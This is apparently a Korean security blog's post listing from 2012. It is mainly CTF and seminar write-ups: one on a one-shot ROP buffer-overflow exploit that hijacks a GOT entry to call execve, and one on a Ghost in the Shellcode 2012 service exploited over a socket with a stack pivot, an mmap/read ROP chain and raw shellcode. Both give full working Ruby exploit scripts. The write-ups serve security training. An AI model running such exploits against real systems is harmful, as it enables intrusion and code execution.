codegate 2012

writeup 2012/03/15 11:23
2012/03/15 11:23 2012/03/15 11:23

bof one shot exploit

hacking 2012/03/14 17:43
ROP 세미나 시간에 했던 bof one shot exploit에 대한 설명입니다. 프로그램 자체는 간단합니다.
사용자 삽입 이미지


심플 하군요. 그래서 strcpy + ppr으로 __libc_start_main의 GOT를 변조 해서 execve로 만들어서 공격하려고 했는데 두둥..
사용자 삽입 이미지


strcpy의 plt에 null이 들어가있었습니다. 멘탈 is falling. 그러나 한국의 자랑스러운 남자로써 이걸로 포기하면 안되기 때문에 방법을 구상했죠. 구상한 방법은 간단합니다. 기존 블랙햇에서 나왔던 방법에서 strcpy + ppr으로 함수의 offset을 전역변수에 복사하고 그것을 __libc_start_main의 GOT에다 더해서 execve와 같은 함수를 만드는데 그 더하는 법을 이용해서 복사를 하도록 합니다. data segment는 항상 0으로 초기화 되어있기 때문에 프로그램이 사용하지 않는 곳에서는 0이라 가정하고 그곳에다 데이터를 더하기를 하여 함수의 offset을 만들 수 있습니다. 프로그램이 간단하여 원하는 값들이 다 없기 때문에 예를들어 4를 만드려면 0x1을 4번 더한다던지 하는 방법을 이용해서 하면됩니다.

임의의 곳에 임의의 값을 더하는 것은 아래와 같은 gadget을 이용하여 만들면 됩니다.
사용자 삽입 이미지


아래에 4 gadget중에 마지막 pop %ebx, pop %ebp ret를 이용하면 ebx를 마음대로 바꿀 수 있습니다. 그리고 그 ebx가 만약 -1이라는 값을 가르킨다면 첫번째 gadget을 이용하여 그 값을 %eax로 바꿀수 있습니다. -1이라는 값은 DTORS_LIST의 마지막에 있기 때문에 그 주소를 이용하면 %eax를 -1로 만들 수 있습니다. 그렇게 해서 %eax를 초기화 할 수 있고 두번째 gadget을 이용하여 임의의 주소에 있는 값을 %eax에 더할 수 있고 세번째 있는 gadget을 이용하면 그 %eax를 임의의 주소에다 더할 수 있습니다. 이 것들을 이용하면 결국 %eax을 두번째 gadget으로 변조하여 세번째 gadget으로 임의의 장소에다 더할 수 있게 됩니다. 그래서 이 gadget을 이용하여 execve - __libc_start_main의 값을 임의의 장소에 이동시키고 그 값을 __libc_start_main의 GOT에 더하여 __libc_start_main을 execv로 바꾸어 실행 할 수 있게 됩니다.

chg_ebx =  0x80484b7 # pop ebx; pop ebp; ret;
dtors_list = 0x8049f1c # 0xffffffff
dummy = 0x41414141
ff_eax = 0x080484ad # mov (%ebx),%eax; cmp $0xffffffff, %eax; jne 0x8048498; add $0x4, %esp, pop %ebx, pop %ebp, ret
global = 0x804a0cc
offset1 = 0xb8a0008
offset2 = 0x5d5b04c4
add_eax = 0x80484ae # add -0xb8a0008(%ebx), %eax; add $0x4, %esp; pop %ebx; pop %ebp; ret;
add_ebx = 0x80483ae # add %eax,0x5d5b04c4(%ebx);ret;

addr_61 = 0x804857c
addr_27 = 0x080483BB
addr_04 = 0x80480f0
addr_01 = 0x8048f28

libc_got = 0x804a008
libc_plt = 0x08048320
null = 0x0804A030
gnu = 0x8048194

def sub(a, b)
        return (a + (b ^ 0xffffffff) + 1) % 0x100000000
end


# 0x804a0cc : 0xf1 = -0x1 + 0x61 + 0x61 + 0x27 + 0x4 + 0x4 + 0x1
payload_a = [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1

# 0x804a0cd : 0x28 = -0x1 + 0x27 + 0x1 + 0x1
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, addr_01 +offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1

# 0x804a0ce : 0x08
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global -= 2

# add libc_got + 0x828f0 -> execve
# execve("GNU", [], [])
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, global + offset1, dummy, add_eax, dummy, sub(libc_got, offset2), dummy, add_ebx, libc_plt, null, gnu, null, null]

payload = "A"*268
payload +=  payload_a.map{|v| [v].pack('I')}.join
system("/home/bof/bof \"#{payload}\"")


사용자 삽입 이미지


어때요 참 쉽죠?

Reference : https://media.blackhat.com/bh-us-10/whitepapers/Le/BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits-wp.pdf
2012/03/14 17:43 2012/03/14 17:43
이 글은 GoN 현역들에게 숙제로 내준 문제 풀이입니다. 글을 보기 전에 혼자 풀수 있으면 혼자 풀어봅시다. 이 문제는 Ghost in shellcode 2012에 출제된 문제고 환경은 Linux with ASLR & DEP입니다. 그러면 취약점을 찾아봅시다.

이 파일은 ida database file인데 분석하다가 빡칠 때 보라고 넣어놓았습니다. 분석 하다가 빡치면 보세여.

1. vulnerability
사용자 삽입 이미지


취약점은 use 명령어를 처리하는 구문에서 납니다. 그 중에서 hex ray로 target을 체킹하는 부분을 보면 가지고 있는 item의 타입을 체킹합니다. 여기서 1과 4의 값이 저 if문을 통과할 수 있습니다. 그런데 이 프로그램을 돌리다보면 target은 type이 1일 때만 사용된다는 것을 알 수 있습니다. 그런데 4일 때도 저 if문을 통과할 수 있습니다. 그러면 4일 때는 어떤 일이 일어나는 지를 보기위해 type이 4인 아이템을 찾아봅시다.

사용자 삽입 이미지


living area를 나타내는 structure입니다. 이 structure의 3번째 아규먼트가 바로 이 장소에 있는 item을 나타내는 structure인데 item을 나타내는 item_t structure의 5번째 변수가 바로 type을 나타내는 member variable입니다. 이 living_area라는 곳에 있는 item은 4라는 type을 가지고 있습니다. 그리고 보면 이 4라는 type뒤에 name과 0x804c188이라는 값을 가지게 됩니다. 위의 hex ray화면에서 type이 4일때는 target을 체킹을 하는데 target은 item_t 변수에서 offset 0x18을 가지게 됩니다. 그래서 저 living_area에서는 0x804c188을 가지게 되죠. 그러면 0x804c188에 들어있는 값을 target으로 넣는다면 strcasecmp를 통과하게 되고 저 아래에 있는 item의 data를 실행하는 구문까지 갈 수 있게 됩니다. data는 0x14의 offset을 가지고 이것은 저 living_area의 item에서 name이라는 변수를 가르키게 됩니다. 저 name이라는 변수는 hackquest를 실행하면 제일 처음 입력하는 값으로 우리가 변조할 수 있는 값입니다. 이 것은 곧 우리가 원하는 곳으로 eip를 변조 시킬 수 있다는 것입니다.


require 'socket'
require 'thread'

s = TCPSocket.open('localhost', 7331)

Thread.new do
        loop do
                puts s.recv(1000)
        end
end

$stdin.gets()

s.puts("asdf")
s.puts("get can")
s.puts("use can")
s.puts("go south")
s.puts("get letter")
s.puts("use letter on \x2e\xa2\x04\x08\xbc\xa2\x04\x08\xde\xa2\x04\x08\x0c\xc2\x04\x08\x02\x00")
sleep(0.5)


use letter on 뒤에 오는 값이 바로 0x804c188에 들어 있는 값입니다. 이 프로그램을 실행하면 name에 들어 있는 명령어를 실행하게 됩니다. 근데 name은 맨처음 넣어주는 값이므로 asdf가 되므로 asdf가 실행이 되며 "asdf"는 접근 할 수 없는 메모리 영역이므로 seg fault를 내며 프로그램이 죽게 됩니다.

사용자 삽입 이미지


2. exploit
공격을 해야되기 때문에 공격 payload를 넣을 곳이 필요합니다. 처음에 이름은 31 바이트를 받으므로 공격을 하기에는 조금 사이즈가 작습니다. 그러나 우리가 넣는 command의 경우는 255바이트를 받으므로 그쪽으로 우리가 esp를 이동시킬 수 있다면 ROP를 하기에 충분한 버퍼를 확보할 수 있습니다.

사용자 삽입 이미지


위의 명령은 esp를 0x9c만큼 끌어 올리는 명령입니다. 이 명령을 이용하여서 esp를 0x9c만큼 끌어올리면 우리가 command를 넣었던 버퍼 쪽으로 esp를 이동시킬 수 있습니다. 거기서부터 이제 바이너리 내에 존재하는 mmap을 이용하여 execute할 수 있는 영역을 만들고 그곳에다가 read로 쉘코드를 받아서 실행하도록 하면 됩니다.

공격 payload는 [dummy][mmap plt][add esp 0x1c][mmap argument 24 byte][dummy 4byte][read][mmap이 할당한 addr][socket][size]가 되고 이 함수가 실행이 되면 mmap이 실행되고 그 mmap된 곳에 read로 shellcode가 소켓을 통해 쓰여지고 그 shellcode가 실행되게 됩니다.


require 'socket'
require 'thread'

s = TCPSocket.open('localhost', 7331)

Thread.new do
        loop do
                puts s.recv(1000)
        end
end

$stdin.gets()

shellcode = "\x31\xc9\xda\xc8\xbb\xec\x14\x24\xd7\xb1\x12\xd9\x74\x24" +
"\xf4\x5f\x83\xef\xfc\x31\x5f\x14\x03\x5f\x14\xe2\x19\x25" +
"\xff\x20\x02\x15\xbc\x9d\xae\x98\xcb\xc3\x9e\xfb\x06\x83" +
"\x85\x5d\xf1\x0b\xc1\x60\x52\x72\x59\x7a\xce\x1c\xca\xee" +
"\xfe\xb1\xbc\x67\x1f\x72\x56\x1e\xb8\xb8\x26\x87\xbf\x9a" +
"\x96\x07\x0d\x9c\x9f\x0e\x74\xcd\x77\xde\xa9\x9d\xef\x48" +
"\x99\x03\x86\xe6\x6c\x20\x08\xa4\xe7\x46\x18\x41\x35\x08"

# making payload
mmap_plt = 0x080486D4
read_plt = 0x08048784
add_esp_1c = 0x08048F61
add_esp_9c = 0x08049019

payload_r = [mmap_plt, add_esp_1c, 0x100000, 0x1000, 0x7, 34, -1, 0, 0x41414141, read_plt, 0x100000, 4, 0x100000, 0x100]
dummy = "use letter on \x2e\xa2\x04\x08\xbc\xa2\x04\x08\xde\xa2\x04\x08\x0c\xc2\x04\x08\x02\x00" + "a" * 36
payload = dummy

payload_r.each do |x|
        payload += [x].pack('I')
end

s.puts([add_esp_9c].pack('I'))
s.puts("get can")
s.puts("use can")
s.puts("go south")
s.puts("get letter")
s.puts(payload)
s.puts(shellcode)
sleep(0.5)

사용자 삽입 이미지

어때요 참쉽죠?
2012/03/14 16:58 2012/03/14 16:58
예전에 조합론 수업때 발표 했던 논문. Classical한 Thm인 Szemeredi and Trotter's thm과 Spanning trees with low crossing numbers 문제를 Guth-Katz의 Polynomial partitioning technique으로 푼다. Ham-sandwich thm을 이렇게 쓸 줄은 몰랐네 ㅋㅋ


원본 논문은 http://www.cs.tau.ac.il/~michas/pst5.pdf
2012/03/04 00:34 2012/03/04 00:34

fuzzing by google

hacking 2012/02/21 14:33
http://googleonlinesecurity.blogspot.com/2011/08/fuzzing-at-scale.html

2011년 8월에 공개된 문서군요. 저는 오늘 처음봤는데 구글에서 여러 프로그램들의
버그를 찾아내기위해서 여러 방법으로 fuzzing을 하였더군요. 일단 간단하게는
code coverage에 따라서 파일들을 정하더군요. 그것을 Corpus Distillation라고 부르나봅니다.
그래서 그 파일들을 fuzzing해서 공격하는데 여러 다른 테크닉들도 소개되어있구요.
읽어보기에 좋은 문서인것 같습니다. 저처럼 퍼징을 처음 배우고 있는 사람들에게는
현재 어떤 식으로 퍼징이 쓰이고 있는지 알기 좋은 문서인것 같군요. 으아암ㅋ_ㅋ

냠냠 퍼징 공부하는데 어떤 식으로 공부해야할까여? 곰돌이가 진리라던데 휴학생이라
곰돌이를 도서관에서 빌릴수가 없군여 ㅠㅠ 으헝허어
2012/02/21 14:33 2012/02/21 14:33

padocon2011

writeup 2012/02/19 19:59
2012/02/19 19:59 2012/02/19 19:59

secuinside 2011

writeup 2012/01/03 13:21
2012/01/03 13:21 2012/01/03 13:21

hust 2010

writeup 2012/01/03 13:21
2012/01/03 13:21 2012/01/03 13:21

ahf 2011

writeup 2012/01/03 13:21
2012/01/03 13:21 2012/01/03 13:21

codegate 2011

writeup 2012/01/03 13:20
2012/01/03 13:20 2012/01/03 13:20